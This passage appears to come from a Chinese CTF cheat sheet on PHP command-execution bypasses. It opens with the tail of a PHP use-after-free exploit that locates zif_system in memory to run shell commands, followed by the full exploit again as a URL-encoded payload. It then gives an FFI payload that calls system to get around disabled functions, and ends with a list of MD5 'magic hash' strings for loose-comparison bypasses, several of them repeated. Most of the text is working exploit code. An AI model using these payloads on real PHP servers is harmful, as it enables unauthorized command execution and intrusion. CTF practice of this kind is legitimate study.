        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { 
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function trigger_uaf($arg) {
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 
    ($helper->b)($cmd);
    exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>

payload:

c=%3f%3e%3c%3f%70%68%70%0a%66%75%6e%63%74%69%6f%6e%20%63%74%66%73%68%6f%77%28%24%63%6d%64%29%20%7b%0a%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%2c%20%24%62%61%63%6b%74%72%61%63%65%3b%0a%0a%20%20%20%20%63%6c%61%73%73%20%56%75%6c%6e%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%3b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%66%75%6e%63%74%69%6f%6e%20%5f%5f%64%65%73%74%72%75%63%74%28%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%62%61%63%6b%74%72%61%63%65%3b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%6e%73%65%74%28%24%74%68%69%73%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%28%6e%65%77%20%45%78%63%65%70%74%69%6f%6e%29%2d%3e%67%65%74%54%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%69%73%73%65%74%28%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%64%65%62%75%67%5f%62%61%63%6b%74%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%63%6c%61%73%73%20%48%65%6c%70%65%72%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%2c%20%24%62%2c%20%24%63%2c%20%24%64%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%72%32%70%74%72%28%26%24%73%74%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%6a%20%3d%20%24%73%2d%31%3b%20%24%6a%20%3e%3d%20%30%3b%20%24%6a%2d%2d%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3c%3c%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%7c%3d%20%6f%72%64%28%24%73%74%72%5b%24%70%2b%24%6a%5d%29%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%65%73%73%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%74%72%32%73%74%72%28%24%70%74%72%2c%20%24%6d%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%6f%75%74%20%3d%20%22%22%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%24%69%3d%30%3b%20%24%69%20%3c%20%24%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6f%75%74%20%2e%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%70%74%72%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%74%72%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6f%75%74%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%77%72%69%74%65%28%26%24%73%74%72%2c%20%24%70%2c%20%24%76%2c%20%24%6e%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%69%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%73%74%72%5b%24%70%20%2b%20%24%69%5d%20%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%76%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%76%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%3b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%38%2c%20%24%61%64%64%72%20%2b%20%24%70%20%2d%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%73%74%72%6c%65%6e%28%24%68%65%6c%70%65%72%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%69%66%28%24%73%20%21%3d%20%38%29%20%7b%20%24%6c%65%61%6b%20%25%3d%20%32%20%3c%3c%20%28%24%73%20%2a%20%38%29%20%2d%20%31%3b%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6c%65%61%6b%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%24%65%5f%74%79%70%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%31%30%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6f%66%66%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%32%30%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%36%2c%20%32%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6e%75%6d%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%38%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%65%5f%70%68%6e%75%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%68%65%61%64%65%72%20%3d%20%24%62%61%73%65%20%2b%20%24%65%5f%70%68%6f%66%66%20%2b%20%24%69%20%2a%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%74%79%70%65%20%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%66%6c%61%67%73%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%34%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%76%61%64%64%72%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%6d%65%6d%73%7a%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%32%38%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%36%29%20%7b%20%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%61%64%64%72%20%3d%20%24%65%5f%74%79%70%65%20%3d%3d%20%32%20%3f%20%24%70%5f%76%61%64%64%72%20%3a%20%24%62%61%73%65%20%2b%20%24%70%5f%76%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%35%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%74%65%78%74%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%0a%20%20%20%20%20%20%20%20%69%66%28%21%24%64%61%74%61%5f%61%64%64%72%20%7c%7c%20%21%24%74%65%78%74%5f%73%69%7a%65%20%7c%7c%20%21%24%64%61%74%61%5f%73%69%7a%65%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%5b%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%5d%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%20%7b%0a%20%20%20%20%20%20%20%20%6c%69%73%74%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%29%20%3d%20%24%65%6c%66%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%64%61%74%61%5f%73%69%7a%65%20%2f%20%38%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%69%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%34%36%65%36%31%37%34%37%33%36%65%36%66%36%33%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%28%24%69%20%2b%20%34%29%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%38%36%35%36%38%33%32%36%65%36%39%36%32%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%64%61%74%61%5f%61%64%64%72%20%2b%20%24%69%20%2a%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%20%7b%0a%20%20%20%20%20%20%20%20%24%62%61%73%65%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%24%73%74%61%72%74%20%3d%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%26%20%30%78%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%30%30%30%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%73%74%61%72%74%20%2d%20%30%78%31%30%30%30%20%2a%20%24%69%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%30%2c%20%37%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%3d%3d%20%30%78%31%30%31%30%32%34%36%34%63%34%35%37%66%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%62%61%73%69%63%5f%66%75%6e%63%73%3b%0a%20%20%20%20%20%20%20%20%64%6f%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%65%6e%74%72%79%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%6e%61%6d%65%20%3d%20%6c%65%61%6b%28%24%66%5f%65%6e%74%72%79%2c%20%30%2c%20%36%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%66%5f%6e%61%6d%65%20%3d%3d%20%30%78%36%64%36%35%37%34%37%33%37%39%37%33%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%6c%65%61%6b%28%24%61%64%64%72%20%2b%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%2b%3d%20%30%78%32%30%3b%0a%20%20%20%20%20%20%20%20%7d%20%77%68%69%6c%65%28%24%66%5f%65%6e%74%72%79%20%21%3d%20%30%29%3b%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%74%72%69%67%67%65%72%5f%75%61%66%28%24%61%72%67%29%20%7b%0a%0a%20%20%20%20%20%20%20%20%24%61%72%67%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%20%3d%20%6e%65%77%20%56%75%6c%6e%28%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%2d%3e%61%20%3d%20%24%61%72%67%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%73%74%72%69%73%74%72%28%50%48%50%5f%4f%53%2c%20%27%57%49%4e%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%27%54%68%69%73%20%50%6f%43%20%69%73%20%66%6f%72%20%2a%6e%69%78%20%73%79%73%74%65%6d%73%20%6f%6e%6c%79%2e%27%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%6e%5f%61%6c%6c%6f%63%20%3d%20%31%30%3b%20%0a%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%20%3d%20%5b%5d%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%5f%61%6c%6c%6f%63%3b%20%24%69%2b%2b%29%0a%20%20%20%20%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%5b%5d%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%0a%20%20%20%20%74%72%69%67%67%65%72%5f%75%61%66%28%27%78%27%29%3b%0a%20%20%20%20%24%61%62%63%20%3d%20%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%5b%30%5d%3b%0a%0a%20%20%20%20%24%68%65%6c%70%65%72%20%3d%20%6e%65%77%20%48%65%6c%70%65%72%3b%0a%20%20%20%20%24%68%65%6c%70%65%72%2d%3e%62%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%24%78%29%20%7b%20%7d%3b%0a%0a%20%20%20%20%69%66%28%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%37%39%20%7c%7c%20%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%30%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%55%41%46%20%66%61%69%6c%65%64%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%29%3b%0a%20%20%20%20%24%70%68%70%5f%68%65%61%70%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%35%38%29%3b%0a%20%20%20%20%24%61%62%63%5f%61%64%64%72%20%3d%20%24%70%68%70%5f%68%65%61%70%20%2d%20%30%78%63%38%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%30%2c%20%32%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%37%30%2c%20%36%29%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%30%78%36%30%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%38%2c%20%30%78%61%29%3b%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%32%30%29%3b%0a%0a%20%20%20%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%2c%20%38%29%3b%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%65%20%3d%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%64%65%74%65%72%6d%69%6e%65%20%62%69%6e%61%72%79%20%62%61%73%65%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%65%6c%66%20%3d%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%70%61%72%73%65%20%45%4c%46%20%68%65%61%64%65%72%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%69%63%5f%66%75%6e%63%73%20%3d%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%62%61%73%69%63%5f%66%75%6e%63%74%69%6f%6e%73%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%7a%69%66%5f%73%79%73%74%65%6d%20%3d%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%7a%69%66%5f%73%79%73%74%65%6d%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%0a%20%20%20%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%3d%20%30%78%64%30%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%31%30%3b%20%24%69%20%2b%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%2b%20%24%69%2c%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%2c%20%24%69%29%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%32%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%33%38%2c%20%31%2c%20%34%29%3b%20%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%36%38%2c%20%24%7a%69%66%5f%73%79%73%74%65%6d%29%3b%20%0a%0a%20%20%20%20%28%24%68%65%6c%70%65%72%2d%3e%62%29%28%24%63%6d%64%29%3b%0a%20%20%20%20%65%78%69%74%28%29%3b%0a%7d%0a%0a%63%74%66%73%68%6f%77%28%22%63%61%74%20%2f%66%6c%61%67%30%2e%74%78%74%22%29%3b%6f%62%5f%65%6e%64%5f%66%6c%75%73%68%28%29%3b%0a%3f%3e

# PHP7.4 以上,FFI 绕过 system 限制

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你 在PHP里调用C代码 的技术。

$ffi = FFI::cdef("int system(const char *command);");// 创建一个 system 对象
$a='/readflag > 1.txt';// 没有回显,所以将内容输出到 1.txt【flag 在 readflag 里】
$ffi->system($a);// 通过 $ffi 去调用 system 函数
public static FFI::cdef(string $code = "", ?string $lib = null): FFI
#创建一个新对象

payload:

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);exit(); #之后访问 url/1.txt

# MD5 弱类型

<?--
    $a=$GET['a'];
	$b=$GET['b'];
	if($a!=$b && md5($a)==md5($b)){.....
   }
-->

要成立就是 md5 弱类型,常见的 md5 弱类型(把每一个 以0E开头的哈希值 都解释为 0,
所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E” 开头的,那么 PHP 将会认为他们相同,都是 0):

#输入`url?a=QNKCDZO&b=s878926199a`

QNKCDZO
0e830400451993494058024219903391


s878926199a
0e545993274517709034328855841020


s155964671a
0e342768416822451524974117254469


s214587387a
0e848240448830537924465865611904


s214587387a
0e848240448830537924465865611904


s878926199a
0e545993274517709034328855841020


s1091221200a
0e940624217856561557816327384675


s1885207154a
0e509367213418206700842008763514


s1502113478a
0e861580163291561247404381396064


s1885207154a
0e509367213418206700842008763514


s1836677006a
0e481036490867661113260034900752


s155964671a
0e342768416822451524974117254469


s1184209335a
0e072485820392773389523109082030


s1665632922a
0e731198061491163073197128363787


s1502113478a
0e861580163291561247404381396064


s1836677006a
0e481036490867661113260034900752


s1091221200a
0e940624217856561557816327384675


s155964671a
0e342768416822451524974117254469


s1502113478a
0e861580163291561247404381396064


s155964671a
0e342768416822451524974117254469


s1665632922a
0e731198061491163073197128363787


s155964671a
0e342768416822451524974117254469


s1091221200a
0e940624217856561557816327384675


s1836677006a
0e481036490867661113260034900752


s1885207154a
0e509367213418206700842008763514


s532378020a
0e220463095855511507588041205815


s878926199a
0e545993274517709034328855841020


